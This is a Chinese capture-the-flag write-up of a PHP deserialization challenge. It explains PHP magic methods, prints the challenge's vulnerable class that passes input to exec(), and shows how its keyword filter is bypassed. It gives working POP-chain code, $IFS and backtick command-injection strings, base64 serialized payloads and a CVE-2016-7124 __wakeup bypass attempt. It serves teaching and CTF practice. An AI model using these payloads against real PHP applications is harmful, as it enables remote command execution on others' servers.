unseping
[来源 : 江苏工匠杯-难度1
考点:
简单的php反序列化
00前置芝士:
反序列化漏洞
1.什么是序列化?(serialize)
看不懂了,唉,简单来说就是将我们熟知能够看得懂的对象转化我们看不太懂的字符串,,,,例如这样的
O:4:"ease":2:{s:12:" ease method";s:4:"ping";s:10:" ease args";a:1:{i:0;s:24:"ca$@t$IFS$2`find${IFS}.`";}}
2.什么是反序列化?(unserialize)
简单来说就是把字符串还原成开始的对象 ,,,逆过程
3.什么是反序列化漏洞?
简单来说,就是存在unserialize()函数的地方,而这个反序列化的变量参数值,又是可控的(是由用户输入的,或者是用户可以进行修改),那这个地方可能就会有反序列化漏洞
魔术方法
1.__construct
在PHP中,__construct
方法用于在创建一个新的对象实例时进行初始化操作。当使用 new
关键字实例化一个类时,PHP会自动寻找并调用这个类中的 __construct
方法,从而执行一些初始化的工作,比如设置初始属性值、连接数据库、加载配置等等。例如:
class a_class {
public function __construct() {
echo 'Constructor called!'; // 构造函数调用!
}
}
$obj = new a_class(); // 输出 "Constructor called!"
当实例化 a_class 类时,__construct
方法会被自动调用,输出 "Constructor called!"。
创建对象的时候调用__construct,也就是说,他是第一个
2. __destruct
__destruct
是另一个特殊的方法,它在面向对象编程中扮演着与 __construct
相反的角色。与 __construct
在对象实例化时执行初始化操作相对应,__destruct
方法则用于在对象即将被销毁时执行一些清理工作。
在许多编程语言中,包括PHP、Python等,都支持类似的析构函数(Destructor)的概念。在PHP中,当一个对象不再被引用或脚本执行结束时,PHP的垃圾回收机制会自动调用该对象的 __destruct
方法。
示例:
class a_class {
public function __construct() {
echo 'Constructor called!'; // 构造函数调用!
}
public function __destruct() {
echo 'Destructor called!'; //析构函数调用!
}
}
$obj = new a_class(); // 输出 "Constructor called!"
unset($obj); // 输出 "Destructor called!",当 $obj 变量被 unset 时,对象的 __destruct 方法会被调用
//unset()函数用于销毁给定的变量。
当 $obj
对象被销毁时(通过 unset($obj)
),PHP会自动调用该对象的 __destruct
方法,执行一些清理工作,比如释放资源、关闭文件等。
通过在 __destruct
方法中进行清理工作,可以确保在对象生命周期结束时,相关的资源得到及时释放和清理,从而避免内存泄漏和资源泄露。
销毁对象的时候,或者结束的时候,执行__destruct 最后一个
4.__wakeup
在PHP中,__wakeup
是一个魔术方法(magic method),用于序列化反序列化过程中的特殊处理。当一个被序列化的对象进行反序列化时,如果该对象定义了 __wakeup
方法,PHP 反序列化机制会在完成反序列化后自动调用该方法。
__wakeup
方法可以用来重新初始化在序列化时可能被临时修改或清除的对象属性,以确保对象在反序列化后恢复到正确的状态。
//本题如果设置了重新初始化属性值,就gg了,只能尝试绕过_wakeup
示例:
class a_class {
public $name;
public $age;
public function __wakeup() {
echo "Object has been unserialized, performing custom wakeup actions.\n";
//对象已经序列化,正在执行自定义_wakeuo操作。
$this->age = 18; // 重新初始化年龄为 18 岁
}
}
$data = serialize(new a_class());
$obj = unserialize($data); //unserialize函数执行之前,调用__wakeup
// 输出 "Object has been unserialized, performing custom wakeup actions."
在上述示例中,当对序列化后的数据进行反序列化时,由于 MyClass
类定义了 __wakeup
方法,因此在反序列化完成后会自动调用 __wakeup
方法,执行一些自定义的操作,比如重新初始化对象属性。
通过使用 __wakeup
方法,可以在对象反序列化时执行一些特定的逻辑,确保对象在恢复状态时能够进行必要的处理和修正,从而增强程序的健壮性和灵活性。
就是说,__wakeup 方法在unserialize函数执行之前,自动优先执行 ,
例子
<?php
class a_class {
public $name = 'kecy';
public $age = '520';
public function __wakeup() {
$this->name= 'kecy' ;
$this->age = '520' ;
echo '重新初始化成功!'."\n"; //换行用双引号包裹
}
public function find(){
echo $this -> name."\n";
echo $this -> age ."\n";
}
}
$obj1 = new a_class('gaoleng','5201314');
$data = serialize($obj1);
$obj2 = unserialize($data); // 输出 "Object has been unserialized, performing custom wakeup actions."
$obj2 -> find(); // -> 是 PHP 对象成员访问符
这段输出结果是:
重新初始化成功!
kecy
520
也就是说,在反序列化执行之前,就已经执行了__wakeup方法了,,,如果这个地方自定义重新初始化值的话,我们自己构造的payload就没用了,,,(涉及到__wakeup函数的绕过)
题目是没有的,题目的这里传递变量到waf去检测(如果能直接绕的话,本题都不用绕waf了,直接就绕__wakeup了)
涉及到的一些函数
1.call_user_func_array()
回调函数
回调函数是指在编程中作为参数传递给其他函数的函数。换句话说,它是一种被传递到其他函数中以供后者在合适的时机调用的函数。
在很多编程语言中,函数可以作为一等公民(first-class citizen),也就是说函数本身可以作为参数传递、赋值给变量、作为返回值返回,因此可以将函数作为参数传递给其他函数,这样的函数就被称为回调函数。
回调函数常用于异步编程、事件处理、处理列表或集合等场景。例如,在JavaScript中,回调函数经常用于处理异步请求的响应;在PHP等语言中,回调函数常用于对数组的每个元素执行相同的操作。
总的来说,回调函数为编程提供了一种灵活的方式,使得代码能够动态地根据需要去执行特定的逻辑。
//GPT回答
总结:回调函数是指作为参数传递给其他函数的函数。
call_user_func_array()是PHP中的一个函数,用于调用一个回调函数,并将参数以数组的形式传递给该函数。
它的语法如下:
call_user_func_array(callback $callback, array $param_arr): mixed
其中,$callback
表示要调用的回调函数,可以是一个函数名的字符串、一个对象方法的数组或一个类的静态方法的数组。$param_arr
是一个包含参数的数组。
call_user_func_array
会将参数数组中的元素作为独立的参数传递给回调函数,并返回回调函数的返回值。
示例:
<?php
function talk($name,$age){
echo 'my name is '.$name."\n";
echo 'my age is '.$age."\n";
}
$params = ['kecy', '520'];
$result = call_user_func_array("talk", $params);
输出:
my name is kecy
my age is 520
2.exec()
命令执行函数 ,
exec(string $command, array &$output, int &$return_var);
$command
参数是要执行的系统命令。$output
是一个可选参数,用于存储命令的输出结果。如果提供了这个参数,命令的输出将被存储在这个数组中。$return_var
也是一个可选参数,用于存储命令执行后的返回值。
3.var_dump()
var_dump
是 PHP 中用于打印变量的结构信息的函数,通常用于调试目的。
它可以显示变量的数据类型和值,以及变量所包含的元素个数(对于数组)等详细信息。
var_dump
函数的基本语法如下:
var_dump(mixed $expression, mixed ...$expressions)
$expression
是要打印的变量或表达式。- 可以传入多个
$expression
,var_dump
会逐个打印它们的信息。 mixed
是 PHP 语言中的一个数据类型标识符,表示一个可以包含多种不同类型值的变量。它表示变量可以是任意类型的值,包括整数、浮点数、字符串、数组、对象等。
4.preg_match_all
preg_match_all
是 PHP 中用于执行正则表达式匹配的函数之一。它可以在一个字符串中查找所有匹配指定正则表达式的子串,并将匹配结果存储在一个数组中。
preg_match_all
函数的基本语法如下:
int|false preg_match_all(string $pattern, string $subject, array &$matches, int $flags = 0, int $offset = 0)
$pattern
参数是要匹配的正则表达式。$subject
是要搜索的字符串。$matches
是一个用于存储匹配结果的数组。所有的匹配结果都将被存储在这个数组中。$flags
是一个可选参数,用于指定正则表达式的匹配模式。$offset
是一个可选参数,用于指定搜索的起始位置。
示例
$string = "flag{03423e14a8787eb026fde25d03fb94b4} ";
$pattern = "/flag/";
preg_match_all($pattern, $string, $matches);
var_dump($matches);
运行上述代码后,会输出如下结果:
array(1) {
[0]=>
array(1) {
[0]=>
string(4) "flag"
}
}
//对应:
//$array = array(
// 0 => array(
// 0 => "flag"
// )
//);
emm暂时没有了,,,
WP
1.题目
进去之后直接就是一长串源码,emm
还是直接copy下来,放sublime,,,,舒服多了🎶🎶🎶👀👀👀
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
声明部分定义了一个ease类,然后下面接收post传参ctf,对传参值进行base64解密之后再进行反序列化操作,,,,
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
那就是说,post方式传一个base64加密的序列化payload 就行
2.解题
2.1如何构造payload呢?
重点就是去分析这个ease类的代码逻辑的关系就行
class ease{
private $method;
private $args;
定义了两个私有属性(private) method , args
method-方法,args(arguments)-参数 //变量的命名大概率有他的实际用途,理解变量名也很重要
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
声明一个构造函数_construct,接收两个参数method和args,并且将这两个参数分别传递赋值给本类的两个属性method 和 args (也就是我们已经声明了的两个私有属性),
ps: 构造函数在新建类的时候首先执行
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
声明__destruct 方法,
使用 in_array 函数检查私有属性 method 是否在数组 array("ping")中。如果 $this->method 的值是 "ping",则执行if语句体的代码块。
使用 call_user_func_array函数调用 $this->method 所指定的方法,并将 $this->args
数组作为参数传递进去。
ps: __destruct 是 PHP 中的一个魔术方法 ,在对象被销毁时会自动调用这个方法。也就是说,这是最后执行的
function ping($ip){
exec($ip, $result);
var_dump($result);
}
这个定义的ping方法就是存在漏洞的点了,exec命令执行,命令执行成功之后存储到变量result中,然后var_dump输出执行的结果
ps:我们前面的method属性值就应该是ping,这样就会执行ping方法,而参数$ip,就是由属性args传递的
待会构造pop链的时候,就可以这样
<?php
class ease{
private $method = 'ping';
private $args = array('xxxxx'); //xxxxx为我们想要执行的命令
}
$poc = new ease();
$poc = serialize($poc);
echo base64_encode($poc);
然后拿到序列化的base64编码值,post方法提交(参数ctf)
接着继续分析:
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
看方法名,waf,防火墙,拦截危险字符的,
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str,$pat_array))
使用 preg_match_all 函数对 $str进行正则表达式匹配。
匹配为空原样返回$str 否则将匹配到的内容存储给$pat_array (这个变量这里没啥用,只做了存储)
匹配到关键就输出"don't hack" ,来看看过滤的关键字
| & ; 空格 / cat flag tac php ls
空格过滤可以绕,这里我们用$IFS$2
绕过 详细芝士点参考Ping Ping Ping - 糕冷のkecy
flag 和 php 这里我们可以用通配符* 或者占位符? 例如 fl?g.p?p
过滤了管道符 | 和 ; 但是没有过滤 ` 那么可以用反引号内联执行
例如:
ca$@t$IFS$2`find$IFS$2/${IFS}-name${IFS}fl?g.p?p`
但是呢,不行,过滤了/ ,不能指定从根目录开始查询,暂时想不到如何绕过/
ca$@t$IFS$2`find${IFS}.` //find . 当前目录
ca$@t${IFS}`find` //find 一样效效果
两者效果一样,查看当前目录的所有文件夹和文件
接下来是最后一段
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
- 定义了一个
__wakeup
方法,__wakeup
是 PHP 中的一个魔术方法, foreach($this->args as $k => $v)
使用 foreach 循环遍历$this->args
数组中的每个元素,其中$this
是指当前对象的实例,->
是 PHP 对象成员访问符,args
是对象的一个属性。$this->args[$k] = $this->waf($v);
:在循环中,对数组$this->args
中的每个值$v
调用$this->waf($v)
方法,就是前面的防火墙检测,并将返回值赋给$this->args[$k]
。
ps: _wakeup 在使用unserialize函数时候被调用(反序列化)
_wakeup 的魔术方法是存在绕过可能的,参考
CVE-2016-7124(__wakeup绕过)
漏洞编号:CVE-2016-7124
影响版本:PHP 5<5.6.25; PHP 7<7.0.10
漏洞危害:如存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup执行
简单来说就是传入的序列化字符串值中,对应表示属性的个数值大于其属性真实值,就会触发该漏洞
例如图中的真实属性个数是2,我们将他修改成大于2的数,修改成5,如果存在这个漏洞,就会实现跳过__wakeup执行 ,如果这个地方成功存在漏洞,甚至都不用绕字符了,因为我们的序列化payload根本没经过防火墙waf的检测
2.2 构造pop链
迪宝的思路,留下有用的,去掉没用的,就成了!
<?php
class ease{
private $method ='ping';
private $args =array('ca$@t$IFS$2`find${IFS}.`');
}
$poc=new ease();
$poc=serialize($poc);
echo base64_encode($poc);
?>
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoiY2EkQHQkSUZTJDJgZmluZCR7SUZTfS5gIjt9fQ==
post 发包,提交成功,
拿下拿下~
每日一总结~
flag
cyberpeace{03423e14a8787eb026fde25d03fb94b4}
对__wakeup方法绕过的尝试
pop链
<?php
class ease{
private $method ='ping';
private $args =array('cat flag.php');
}
$c=new ease();
$pop=serialize($c);
//echo $pop."\n";
//echo base64_encode($pop);
$poc = str_replace('O:4:"ease":2','O:4:"ease":5',$pop);
echo base64_encode($poc);
?>
输出的payload:
Tzo0OiJlYXNlIjo1OntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxMjoiY2F0IGZsYWcucGhwIjt9fQ==
don't hack 都不报了hhh🐱👓🐱👓🐱👓🐱👓🐱👓
没用~~🐱🏍🐱🏍🐱🏍🐱🏍🐱🏍🐱🏍🐱🏍
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?